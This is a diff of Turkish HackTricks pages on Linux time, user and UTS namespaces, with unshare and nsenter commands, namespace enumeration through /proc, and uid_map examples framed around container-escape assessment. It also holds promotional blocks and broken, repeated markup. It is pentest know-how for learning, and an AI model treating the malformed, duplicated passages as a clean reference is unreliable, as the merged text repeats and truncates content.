`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl işlediği nedeniyle bir hata oluşur. Ana ayrıntılar ve çözüm aşağıda belirtilmiştir:
`unshare` `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanının oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni ad alanına girmemektedir; sadece çocuk işlemleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID ad alanında bulunur.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, eğer başka işlem yoksa ad alanının temizlenmesini tetikler, çünkü PID 1 yetim işlemleri benimseme özel rolüne sahiptir. Linux çekirdeği daha sonra o ad alanında PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
2. **Sonuç**:
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine neden olur. Bu, yeni bir işlem oluştururken `alloc_pid` işlevinin yeni bir PID tahsis edememesine ve "Bellek tahsis edilemedi" hatasının oluşmasına yol açar.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni bir PID ad alanı oluşturduktan sonra yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 haline gelmesini sağlar. `/bin/bash` ve çocuk işlemleri bu yeni ad alanında güvenli bir şekilde sınırlanır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ve alt işlemleri bellek tahsis hatasıyla karşılaşmadan çalışabilir.
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
</details>
@ -55,19 +64,11 @@ sudo unshare -T [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
Bir sürecin hangi ad alanında olduğunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
cat /proc/$$/ns/* | awk '{print $NF}' | xargs -I{} readlink -f {}
```
Bu komut, mevcut sürecin bulunduğu ad alanlarını listeler.
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### Tüm Zaman ad alanlarını bulun
### Tüm Zaman ad alanlarını bul
{% code overflow="wrap" %}
```bash
@ -75,28 +76,39 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
{% code %}
{% endcode %}
### Bir Zaman ad alanına giriş yapın
### Zaman ad alanına girin
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
Ayrıca, başka bir süreç ad alanına **yalnızca root olarak girebilirsiniz**. Ve başka bir ad alanına **bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/net`) **giremezsiniz**.
## Referanslar
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,33 +1,40 @@
# Kullanıcı Ad Alanı
# User Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Temel Bilgiler
Kullanıcı ad alanı, Linux çekirdeğinin bir özelliğidir ve her bir kullanıcı ad alanının **kendi kullanıcı ve grup kimlik eşlemelerine izolasyon sağlar**, böylece her bir kullanıcı ad alanı **kendi kullanıcı ve grup kimliklerine sahip olabilir**. Bu izolasyon, aynı kullanıcı ve grup kimliklerini sayısal olarak paylaşsalar bile farklı kullanıcı ad alanlarında çalışan işlemlerin **farklı yetkilere ve sahipliklere sahip olmasını** sağlar.
Bir kullanıcı ad alanı, **kullanıcı ve grup kimlik eşlemelerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir ve her kullanıcı ad alanının **kendi kullanıcı ve grup kimlik setine** sahip olmasına olanak tanır. Bu izolasyon, farklı kullanıcı ad alanlarında çalışan süreçlerin **farklı ayrıcalıklara ve sahipliğe** sahip olmasını sağlar, bu süreçler aynı kullanıcı ve grup kimliklerini sayısal olarak paylaşsalar bile.
Kullanıcı ad alanları, özellikle her bir konteynerin kendi bağımsız kullanıcı ve grup kimliklerine sahip olması gereken konteynerleştirme işlemlerinde kullanışlıdır. Bu, konteynerler ve ana sistem arasında daha iyi bir güvenlik ve izolasyon sağlar.
Kullanıcı ad alanları, her bir konteynerin kendi bağımsız kullanıcı ve grup kimlik setine sahip olması gerektiği konteynerleştirmede özellikle yararlıdır ve bu, konteynerler ile ana sistem arasında daha iyi güvenlik ve izolasyon sağlar.
### Nasıl Çalışır:
### Nasıl çalışır:
1. Yeni bir kullanıcı ad alanı oluşturulduğunda, **boş bir kullanıcı ve grup kimlik eşlemesi kümesiyle başlar**. Bu, yeni kullanıcı ad alanında çalışan herhangi bir işlemin **başlangıçta ad alanı dışında hiçbir yetkiye sahip olmadığı** anlamına gelir.
2. Kimlik eşlemeleri, yeni ad alanındaki kullanıcı ve grup kimlikleri ile ebeveyn (veya ana) ad alanındaki kimlikler arasında kurulabilir. Bu, yeni ad alanındaki işlemlerin, ebeveyn ad alanındaki kullanıcı ve grup kimliklerine karşılık gelen yetkilere ve sahipliklere sahip olmasını sağlar. Bununla birlikte, kimlik eşlemeleri belirli aralıklara ve kimliklerin alt kümelerine kısıtlanabilir, böylece yeni ad alanındaki işlemlere verilen yetkiler üzerinde ince kontrol sağlanabilir.
3. Bir kullanıcı ad alanı içinde, işlemler ad alanı içindeki işlemler için tam kök yetkilerine (UID 0) sahip olabilirken, ad alanı dışında sınırlı yetkilere sahip olabilir. Bu, konteynerlerin kendi ad alanlarında tam kök yetkilerine sahip olmadan ana sistem üzerinde kök benzeri yeteneklerle çalışmasını sağlar.
4. İşlemler, `setns()` sistem çağrısı kullanılarak ad alanları arasında hareket edebilir veya `unshare()` veya `clone()` sistem çağrıları kullanılarak `CLONE_NEWUSER` bayrağıyla yeni ad alanları oluşturabilir. Bir işlem yeni bir ad alanına geçtiğinde veya bir ad alanı oluşturduğunda, o ad alanıyla ilişkilendirilen kullanıcı ve grup kimlik eşlemelerini kullanmaya başlar.
1. Yeni bir kullanıcı ad alanı oluşturulduğunda, **kullanıcı ve grup kimlik eşlemeleri için boş bir setle başlar**. Bu, yeni kullanıcı ad alanında çalışan herhangi bir sürecin **başlangıçta ad alanının dışındaki ayrıcalıklara sahip olmayacağı** anlamına gelir.
2. Yeni ad alanındaki kullanıcı ve grup kimlikleri ile ana (veya ana bilgisayar) ad alanındaki kimlikler arasında eşlemeler kurulabilir. Bu, **yeni ad alanındaki süreçlerin ana ad alanındaki kullanıcı ve grup kimliklerine karşılık gelen ayrıcalıklara ve sahipliğe sahip olmasına olanak tanır**. Ancak, kimlik eşlemeleri belirli aralıklara ve kimlik alt kümelerine kısıtlanabilir, bu da yeni ad alanındaki süreçlere verilen ayrıcalıklar üzerinde ince ayar kontrolü sağlar.
3. Bir kullanıcı ad alanı içinde, **süreçler ad alanı içindeki işlemler için tam kök ayrıcalıklarına (UID 0) sahip olabilir**, aynı zamanda ad alanının dışındaki ayrıcalıkları sınırlı kalır. Bu, **konteynerlerin kendi ad alanlarında kök benzeri yeteneklerle çalışmasına olanak tanırken, ana sistemde tam kök ayrıcalıklarına sahip olmalarını engeller**.
4. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında geçiş yapabilir veya `CLONE_NEWUSER` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili kullanıcı ve grup kimlik eşlemelerini kullanmaya başlayacaktır.
## Lab:
## Laboratuvar:
### Farklı Ad Alanları Oluşturma
@ -35,27 +42,27 @@ Kullanıcı ad alanları, özellikle her bir konteynerin kendi bağımsız kulla
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni bağlama alanının **o ad alanına özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlarsınız.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
<details>
<summary>Hata: bash: fork: Bellek tahsis edilemedi</summary>
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl işlediği nedeniyle bir hata oluşur. Ana ayrıntılar ve çözüm aşağıda belirtilmiştir:
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanının oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni ad alanına girmemektedir; sadece çocuk işlemleri girer.
- `%unshare -p /bin/bash%` komutu `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID ad alanında bulunur.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, öksüz işlemleri devralma özel rolüne sahip olduğu için, başka işlem olmadığında ad alanının temizlenmesini tetikler. Linux çekirdeği o ad alanında PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmemektedir; yalnızca onun çocuk süreçleri girmektedir.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakacaktır.
2. **Sonuç**:
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine neden olur. Bu, yeni bir işlem oluştururken `alloc_pid` işlevinin yeni bir PID tahsis edememesine ve "Bellek tahsis edilemedi" hatasının oluşmasına yol açar.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, yeni PID ad alanı oluşturduktan sonra `unshare`'in yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 haline gelmesini sağlar. `/bin/bash` ve çocuk işlemleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ve alt işlemleri bellek tahsis hatasıyla karşılaşmadan çalışabilir.
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
</details>
@ -63,7 +70,7 @@ sudo unshare -U [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Kullanıcı ad alanını kullanmak için Docker daemon'ı **`--userns-remap=default`** ile başlatılmalıdır (Ubuntu 14.04'te, bunu `/etc/default/docker` dosyasını düzenleyerek ve ardından `sudo service docker restart` komutunu çalıştırarak yapabilirsiniz).
Kullanıcı ad alanını kullanmak için, Docker daemon'un **`--userns-remap=default`** ile başlatılması gerekir (Ubuntu 14.04'te, bu `/etc/default/docker` dosyasını değiştirerek ve ardından `sudo service docker restart` komutunu çalıştırarak yapılabilir)
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
```bash
@ -76,11 +83,11 @@ cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
Veya aşağıdaki komutu kullanarak ana makineden:
Ya da host'tan:
```bash
cat /proc/<pid>/uid_map
```
### Tüm Kullanıcı ad alanlarını bulun
### Tüm Kullanıcı ad alanlarını bul
{% code overflow="wrap" %}
```bash
@ -88,17 +95,15 @@ sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
{% code %}
### Bir Kullanıcı ad alanına giriş yapın
{% endcode %}
### Kullanıcı ad alanına girin
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
Ayrıca, yalnızca kök kullanıcıysanız başka bir işlem ad alanına **girebilirsiniz**. Ve başka bir ad alanına **bir tanımlayıcı** (örneğin `/proc/self/ns/user`) olmadan **giremezsiniz**.
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/user`).
### Yeni Kullanıcı ad alanı oluşturma (eşlemelerle)
### Yeni Kullanıcı ad alanı oluşturun (eşlemelerle)
{% code overflow="wrap" %}
```bash
@ -114,14 +119,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### Yetenekleri Kurtarma
### Yeteneklerin Kurtarılması
Kullanıcı ad alanları durumunda, **yeni bir kullanıcı ad alanı oluşturulduğunda, ad alanına giren işlem, bu ad alanı içinde tam bir yetenek kümesine sahip olur**. Bu yetenekler, işlemin ayrıcalıklı işlemler yapmasına olanak tanır, örneğin **dosya sistemlerini bağlama**, cihazlar oluşturma veya dosyaların sahipliğini değiştirme, ancak **yalnızca kullanıcı ad alanının bağlamı içinde**.
Kullanıcı ad alanları durumunda, **yeni bir kullanıcı ad alanı oluşturulduğunda, ad alanına giren işleme o ad alanı içinde tam bir yetenek seti verilir**. Bu yetenekler, işlemin **dosya sistemlerini** **monte etme**, cihazlar oluşturma veya dosyaların sahipliğini değiştirme gibi ayrıcalıklı işlemleri gerçekleştirmesine olanak tanır, ancak **yalnızca kendi kullanıcı ad alanı bağlamında**.
Örneğin, bir kullanıcı ad alanı içinde `CAP_SYS_ADMIN` yeteneğine sahip olduğunuzda, bu yeteneği gerektiren işlemleri gerçekleştirebilirsiniz, örneğin dosya sistemlerini bağlama, ancak yalnızca kullanıcı ad alanınızın bağlamı içinde. Bu yetenekle gerçekleştirdiğiniz işlemler ana sistem veya diğer ad alanlarını etkilemez.
Örneğin, bir kullanıcı ad alanında `CAP_SYS_ADMIN` yeteneğine sahip olduğunuzda, genellikle bu yeteneği gerektiren işlemleri gerçekleştirebilirsiniz, örneğin dosya sistemlerini monte etme, ancak yalnızca kendi kullanıcı ad alanınız bağlamında. Bu yetenekle gerçekleştirdiğiniz herhangi bir işlem, ana sistem veya diğer ad alanlarını etkilemeyecektir.
{% hint style="warning" %}
Bu nedenle, yeni bir işlemi yeni bir Kullanıcı ad alanına yerleştirmek **tüm yetenekleri geri getirse de** (CapEff: 000001ffffffffff), aslında **yalnızca ad alanıyla ilgili olanları kullanabilirsiniz** (örneğin bağlama). Bu tek başına bir Docker konteynerinden kaçmak için yeterli değildir.
Bu nedenle, yeni bir Kullanıcı ad alanında yeni bir işlem almak **size tüm yetenekleri geri verecektir** (CapEff: 000001ffffffffff), aslında **yalnızca ad alanı ile ilgili olanları kullanabilirsiniz** (örneğin monte etme) ama her birini değil. Bu nedenle, bu kendi başına bir Docker konteynerinden kaçmak için yeterli değildir.
{% endhint %}
```bash
# There are the syscalls that are filtered after changing User namespace with:
@ -145,21 +150,29 @@ Probando: 0x130 . . . Error
Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
Probando: 0x143 . . . Error
```
## Referanslar
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,30 +1,45 @@
# UTS Ad Alanı
# UTS Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u** takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Temel Bilgiler
